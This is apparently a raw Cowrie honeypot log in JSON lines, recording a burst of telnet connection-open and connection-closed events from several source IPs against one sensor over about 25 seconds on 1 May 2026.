{"eventid":"cowrie.session.closed","duration":31.109073638916016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:56.654316Z","src_ip":"169.38.112.222","session":"d7e3a465d2d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":53618,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a5ae0db5f87","protocol":"telnet","message":"New connection: 159.203.13.64:53618 (10.17.0.5:23) [session: 0a5ae0db5f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:57.259518Z"}
{"eventid":"cowrie.session.closed","duration":31.243962049484253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:58.137218Z","src_ip":"103.137.231.186","session":"8ab1756c7872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5632905960083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:58.399116Z","src_ip":"152.53.125.71","session":"07f10ca36df6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":49810,"dst_ip":"10.17.0.5","dst_port":23,"session":"5077f986e3f1","protocol":"telnet","message":"New connection: 152.53.125.71:49810 (10.17.0.5:23) [session: 5077f986e3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:58.436029Z"}
{"eventid":"cowrie.session.closed","duration":30.7257239818573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:58.523926Z","src_ip":"169.38.112.222","session":"8e8a2aef7bf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":52720,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb6fbf5be28","protocol":"telnet","message":"New connection: 103.137.231.186:52720 (159.203.135.109:23) [session: 6bb6fbf5be28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:58.541265Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42808,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2c85233359","protocol":"telnet","message":"New connection: 169.38.112.222:42808 (10.17.0.5:23) [session: 1a2c85233359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:59.846538Z"}
{"eventid":"cowrie.session.closed","duration":30.269381046295166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:00.109663Z","src_ip":"169.38.112.222","session":"07291cf12cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015628576278687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:00.170451Z","src_ip":"103.137.231.186","session":"aef78a2d5c0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38117003440857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:00.274206Z","src_ip":"103.137.231.186","session":"31740ed7a459","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116456270217896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:01.140462Z","src_ip":"103.137.231.186","session":"e8da2f3691f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42430,"dst_ip":"159.203.135.109","dst_port":23,"session":"b76c378b3db1","protocol":"telnet","message":"New connection: 103.137.231.186:42430 (159.203.135.109:23) [session: b76c378b3db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:01.905606Z"}
{"eventid":"cowrie.session.closed","duration":30.323848247528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:02.130241Z","src_ip":"103.137.231.186","session":"1f38ed7b3c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42434,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11bbb9a8f11","protocol":"telnet","message":"New connection: 103.137.231.186:42434 (159.203.135.109:23) [session: e11bbb9a8f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:02.922457Z"}
{"eventid":"cowrie.session.closed","duration":31.20228624343872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:03.136905Z","src_ip":"103.137.231.186","session":"729a71179e86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11523985862732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:03.160525Z","src_ip":"103.137.231.186","session":"b9c12f515bac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42464,"dst_ip":"159.203.135.109","dst_port":23,"session":"53f729aaabc4","protocol":"telnet","message":"New connection: 103.137.231.186:42464 (159.203.135.109:23) [session: 53f729aaabc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:03.332883Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":49814,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ed635480dd","protocol":"telnet","message":"New connection: 152.53.125.71:49814 (10.17.0.5:23) [session: 57ed635480dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:03.447430Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42470,"dst_ip":"159.203.135.109","dst_port":23,"session":"366e0df08f78","protocol":"telnet","message":"New connection: 103.137.231.186:42470 (159.203.135.109:23) [session: 366e0df08f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:03.478593Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42448,"dst_ip":"159.203.135.109","dst_port":23,"session":"278c6e5ef59e","protocol":"telnet","message":"New connection: 103.137.231.186:42448 (159.203.135.109:23) [session: 278c6e5ef59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:04.050868Z"}
{"eventid":"cowrie.session.closed","duration":31.25938582420349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:04.619075Z","src_ip":"103.137.231.186","session":"55f8298f6d96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42418,"dst_ip":"159.203.135.109","dst_port":23,"session":"887fe576f9c5","protocol":"telnet","message":"New connection: 103.137.231.186:42418 (159.203.135.109:23) [session: 887fe576f9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:04.676365Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42482,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d0605bd0069","protocol":"telnet","message":"New connection: 103.137.231.186:42482 (159.203.135.109:23) [session: 7d0605bd0069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:05.016352Z"}
{"eventid":"cowrie.session.closed","duration":30.796583652496338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:05.150733Z","src_ip":"103.137.231.186","session":"8b7bf130c718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42820,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0a86431802e","protocol":"telnet","message":"New connection: 169.38.112.222:42820 (10.17.0.5:23) [session: b0a86431802e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:05.236944Z"}
{"eventid":"cowrie.session.closed","duration":30.742210865020752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:05.320269Z","src_ip":"169.38.112.222","session":"01d45c40fe50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42496,"dst_ip":"159.203.135.109","dst_port":23,"session":"97986ae7ee03","protocol":"telnet","message":"New connection: 103.137.231.186:42496 (159.203.135.109:23) [session: 97986ae7ee03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:05.855759Z"}
{"eventid":"cowrie.session.closed","duration":31.174490213394165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:06.161444Z","src_ip":"169.38.112.222","session":"28bf6dbf0d6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40852,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c64ef3b453","protocol":"telnet","message":"New connection: 159.203.13.64:40852 (10.17.0.5:23) [session: a5c64ef3b453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:06.447924Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":46424,"dst_ip":"10.17.0.5","dst_port":23,"session":"9367e82f04fd","protocol":"telnet","message":"New connection: 169.38.112.222:46424 (10.17.0.5:23) [session: 9367e82f04fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:06.556098Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42504,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fed29501800","protocol":"telnet","message":"New connection: 103.137.231.186:42504 (159.203.135.109:23) [session: 5fed29501800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:06.919941Z"}
{"eventid":"cowrie.session.closed","duration":31.189157009124756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:07.173123Z","src_ip":"103.137.231.186","session":"604c0cfb85c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783809900283813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:07.295862Z","src_ip":"103.137.231.186","session":"380b9a742cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42546,"dst_ip":"159.203.135.109","dst_port":23,"session":"e658b1430be7","protocol":"telnet","message":"New connection: 103.137.231.186:42546 (159.203.135.109:23) [session: e658b1430be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:07.591781Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":46428,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcbb28d953b9","protocol":"telnet","message":"New connection: 169.38.112.222:46428 (10.17.0.5:23) [session: dcbb28d953b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:07.668414Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42556,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ff68a431702","protocol":"telnet","message":"New connection: 103.137.231.186:42556 (159.203.135.109:23) [session: 3ff68a431702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:07.673579Z"}
{"eventid":"cowrie.session.closed","duration":30.8274827003479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:08.162534Z","src_ip":"103.137.231.186","session":"339033d59c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.210688591003418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:08.255337Z","src_ip":"103.137.231.186","session":"92c802c6f800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40868,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1279179ed75","protocol":"telnet","message":"New connection: 159.203.13.64:40868 (10.17.0.5:23) [session: b1279179ed75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:08.507004Z"}
{"eventid":"cowrie.session.closed","duration":31.583495616912842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:08.512341Z","src_ip":"103.137.231.186","session":"92ee1a9e4ad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":46436,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aa216ec1d64","protocol":"telnet","message":"New connection: 169.38.112.222:46436 (10.17.0.5:23) [session: 3aa216ec1d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:08.784240Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42572,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef064ff61973","protocol":"telnet","message":"New connection: 103.137.231.186:42572 (159.203.135.109:23) [session: ef064ff61973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:08.824460Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42588,"dst_ip":"159.203.135.109","dst_port":23,"session":"e95883393bce","protocol":"telnet","message":"New connection: 103.137.231.186:42588 (159.203.135.109:23) [session: e95883393bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:08.977423Z"}
{"eventid":"cowrie.session.closed","duration":30.82900905609131,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:09.121331Z","src_ip":"169.38.112.222","session":"f679ca2d4c8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801502227783203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:09.158293Z","src_ip":"103.137.231.186","session":"71a36c5d8daf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42512,"dst_ip":"159.203.135.109","dst_port":23,"session":"2560f099bf9c","protocol":"telnet","message":"New connection: 103.137.231.186:42512 (159.203.135.109:23) [session: 2560f099bf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:09.378460Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53568,"dst_ip":"159.203.135.109","dst_port":23,"session":"558a06d61c06","protocol":"telnet","message":"New connection: 103.137.231.186:53568 (159.203.135.109:23) [session: 558a06d61c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:09.741612Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":44530,"dst_ip":"10.17.0.5","dst_port":23,"session":"caf603b8bf5a","protocol":"telnet","message":"New connection: 162.253.42.116:44530 (10.17.0.5:23) [session: caf603b8bf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:09.840999Z"}
{"eventid":"cowrie.session.closed","duration":30.781609058380127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:10.148509Z","src_ip":"103.137.231.186","session":"f16093584510","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53554,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3e4ed7e9630","protocol":"telnet","message":"New connection: 103.137.231.186:53554 (159.203.135.109:23) [session: e3e4ed7e9630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:10.293007Z"}
{"eventid":"cowrie.session.closed","duration":30.701286554336548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:10.442417Z","src_ip":"103.137.231.186","session":"6697e5628da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":46450,"dst_ip":"10.17.0.5","dst_port":23,"session":"68cdcfdc5398","protocol":"telnet","message":"New connection: 169.38.112.222:46450 (10.17.0.5:23) [session: 68cdcfdc5398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:10.614763Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53592,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7215802648b","protocol":"telnet","message":"New connection: 103.137.231.186:53592 (159.203.135.109:23) [session: c7215802648b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:10.763981Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53618,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a5354bf1ac1","protocol":"telnet","message":"New connection: 103.137.231.186:53618 (159.203.135.109:23) [session: 7a5354bf1ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:11.183108Z"}
{"eventid":"cowrie.session.closed","duration":31.043389797210693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:11.269832Z","src_ip":"103.137.231.186","session":"e20785d5fcb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53584,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd8df638e323","protocol":"telnet","message":"New connection: 103.137.231.186:53584 (159.203.135.109:23) [session: bd8df638e323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:11.469825Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53634,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e73a6eb2d3","protocol":"telnet","message":"New connection: 103.137.231.186:53634 (159.203.135.109:23) [session: d3e73a6eb2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:11.779839Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53604,"dst_ip":"159.203.135.109","dst_port":23,"session":"45e15fb53c44","protocol":"telnet","message":"New connection: 103.137.231.186:53604 (159.203.135.109:23) [session: 45e15fb53c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:12.007472Z"}
{"eventid":"cowrie.session.closed","duration":32.24543738365173,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:13.099671Z","src_ip":"103.137.231.186","session":"15a7ab8d8794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172560691833496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:13.145046Z","src_ip":"103.137.231.186","session":"aaa49b1838eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.291158199310303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:13.152319Z","src_ip":"103.137.231.186","session":"6175b191eec9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53644,"dst_ip":"159.203.135.109","dst_port":23,"session":"364e2d762629","protocol":"telnet","message":"New connection: 103.137.231.186:53644 (159.203.135.109:23) [session: 364e2d762629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:13.266515Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53660,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b9f7d87de1e","protocol":"telnet","message":"New connection: 103.137.231.186:53660 (159.203.135.109:23) [session: 8b9f7d87de1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:13.398647Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53674,"dst_ip":"159.203.135.109","dst_port":23,"session":"af782edb240b","protocol":"telnet","message":"New connection: 103.137.231.186:53674 (159.203.135.109:23) [session: af782edb240b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:13.688311Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53680,"dst_ip":"159.203.135.109","dst_port":23,"session":"252346868f50","protocol":"telnet","message":"New connection: 103.137.231.186:53680 (159.203.135.109:23) [session: 252346868f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:14.660557Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53694,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfe45ffd1e1b","protocol":"telnet","message":"New connection: 103.137.231.186:53694 (159.203.135.109:23) [session: cfe45ffd1e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:15.053448Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":46462,"dst_ip":"10.17.0.5","dst_port":23,"session":"254b7268f25f","protocol":"telnet","message":"New connection: 169.38.112.222:46462 (10.17.0.5:23) [session: 254b7268f25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:15.610279Z"}
{"eventid":"cowrie.session.closed","duration":30.99832320213318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:16.209891Z","src_ip":"169.38.112.222","session":"a6b5ba3c0a34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53706,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee444a8ac2a","protocol":"telnet","message":"New connection: 103.137.231.186:53706 (159.203.135.109:23) [session: cee444a8ac2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:16.525725Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":48136,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f3ae6d8747a","protocol":"telnet","message":"New connection: 169.38.112.222:48136 (10.17.0.5:23) [session: 3f3ae6d8747a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:16.683104Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53722,"dst_ip":"159.203.135.109","dst_port":23,"session":"c472a0db6333","protocol":"telnet","message":"New connection: 103.137.231.186:53722 (159.203.135.109:23) [session: c472a0db6333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:17.416078Z"}
{"eventid":"cowrie.session.closed","duration":30.87289571762085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:18.265756Z","src_ip":"103.137.231.186","session":"4c05c4455f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.092010498046875,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:18.555158Z","src_ip":"162.253.42.116","session":"85d8d4e12c63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":48148,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e3a3588c363","protocol":"telnet","message":"New connection: 169.38.112.222:48148 (10.17.0.5:23) [session: 1e3a3588c363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:18.637427Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":55368,"dst_ip":"10.17.0.5","dst_port":23,"session":"71725e7a8e04","protocol":"telnet","message":"New connection: 162.253.42.116:55368 (10.17.0.5:23) [session: 71725e7a8e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:19.317395Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":48156,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc0f03bb404","protocol":"telnet","message":"New connection: 169.38.112.222:48156 (10.17.0.5:23) [session: acc0f03bb404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:19.545878Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50888,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7dfea3a1dd2","protocol":"telnet","message":"New connection: 103.137.231.186:50888 (159.203.135.109:23) [session: a7dfea3a1dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:19.712963Z"}
{"eventid":"cowrie.session.closed","duration":31.945201635360718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:20.000063Z","src_ip":"103.137.231.186","session":"45b72a8f8cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55134630203247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:20.117295Z","src_ip":"103.137.231.186","session":"5c460835d936","protocol":"telnet"}
